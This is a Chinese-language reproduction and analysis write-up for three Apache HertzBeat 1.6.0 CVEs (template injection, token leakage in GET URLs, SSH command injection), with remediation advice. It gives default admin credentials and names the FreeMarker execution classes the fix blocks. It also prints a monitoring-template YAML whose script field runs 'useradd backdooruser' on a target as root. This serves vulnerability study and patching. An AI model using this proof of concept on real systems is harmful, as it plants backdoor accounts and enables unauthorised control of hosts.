Apache HertzBeat 漏洞复现三则
字数 1284 2025-08-22 12:22:30
Apache HertzBeat 漏洞复现与分析文档
环境搭建
docker run -d -p 1157:1157 -p 1158:1158 --name hertzbeat apache/hertzbeat:v1.6.0
默认账号密码:admin/hertzbeat
CVE-2024-41151 - 模板注入漏洞
漏洞描述
这是一个FreeMarker模板注入漏洞,由于未对模板内容进行安全限制,导致攻击者可以执行任意代码。
漏洞分析
- 漏洞存在于通知模板功能中
- 1.6.1版本通过添加
SAFER_RESOLVER修复了此漏洞 SAFER_RESOLVER阻止加载以下危险类:freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor
复现步骤
- 登录HertzBeat后台
- 进入"消息通知" → "通知模板"
- 创建一个新的通知模板,插入恶意FreeMarker模板代码
- 创建一个通知媒介
- 创建一个通知策略,使用刚创建的恶意模板
- 创建一个能触发告警的监控任务(如监控不存在的主机)
- 等待告警触发,观察模板注入效果
修复方式
升级到1.6.1或更高版本,该版本引入了SAFER_RESOLVER安全机制。
CVE-2024-45791 - 信息泄露漏洞
漏洞描述
在刷新Token时,Token通过GET请求的URL传递,可能导致Token泄露。
漏洞分析
- Token可能通过以下途径泄露:
- 被第三方平台记录
- 被日志监控系统记录
- 通过Referer头泄露到第三方平台
- 修复方式改为在POST请求中传输Token
复现步骤
- 使用Burp Suite等工具拦截流量
- 观察Token刷新请求
- 在1.6.0版本中,Token会出现在GET请求的URL中
- 在1.6.1版本中,Token改为在POST请求体中传输
修复方式
升级到1.6.1或更高版本,该版本将Token传输方式改为POST请求。
CVE-2024-45505 - 命令注入漏洞
漏洞描述
通过SSH协议执行命令收集数据时,未对执行的命令进行限制,可能导致恶意命令执行。
漏洞分析
- 漏洞存在于SSH监控功能中
- 攻击者可以控制
script字段执行任意命令 - 1.6.1版本添加了命令黑名单机制
- 需要知道目标系统的SSH凭据才能利用
复现步骤
- 创建一个新的监控模板,YAML内容如下:
category: os
app: example_linux
name:
zh-CN: 模拟LINUX应用类型
en-US: LINUX EXAMPLE APP
params:
- field: host
name:
zh-CN: 主机Host
en-US: Host
type: host
required: true
- field: port
name:
zh-CN: 端口
en-US: Port
type: number
range: '[0,65535]'
required: true
defaultValue: 22
placeholder: '请输入端口'
- field: username
name:
zh-CN: 用户名
en-US: Username
type: text
limit: 50
required: true
- field: password
name:
zh-CN: 密码
en-US: Password
type: password
required: true
metrics:
- name: basic
priority: 0
fields:
- field: hostname
type: 1
label: true
- field: version
type: 1
- field: uptime
type: 1
protocol: ssh
ssh:
host: 192.168.18.45
port: 22
username: root
password: root
script: useradd backdooruser
parseType: multiRow
- 使用该模板创建一个监控任务
- 观察目标系统,确认
backdooruser用户是否被创建
修复方式
升级到1.6.1或更高版本,该版本添加了命令黑名单机制。
总结
这三个漏洞分别涉及不同的安全问题:
- CVE-2024-41151:模板注入漏洞,可能导致远程代码执行
- CVE-2024-45791:信息泄露漏洞,可能导致认证凭据泄露
- CVE-2024-45505:命令注入漏洞,可能导致系统被完全控制
建议所有使用HertzBeat的用户尽快升级到1.6.1或更高版本,以修复这些安全问题。对于无法立即升级的用户,应限制对HertzBeat管理界面的访问,并严格控制SSH监控任务的使用。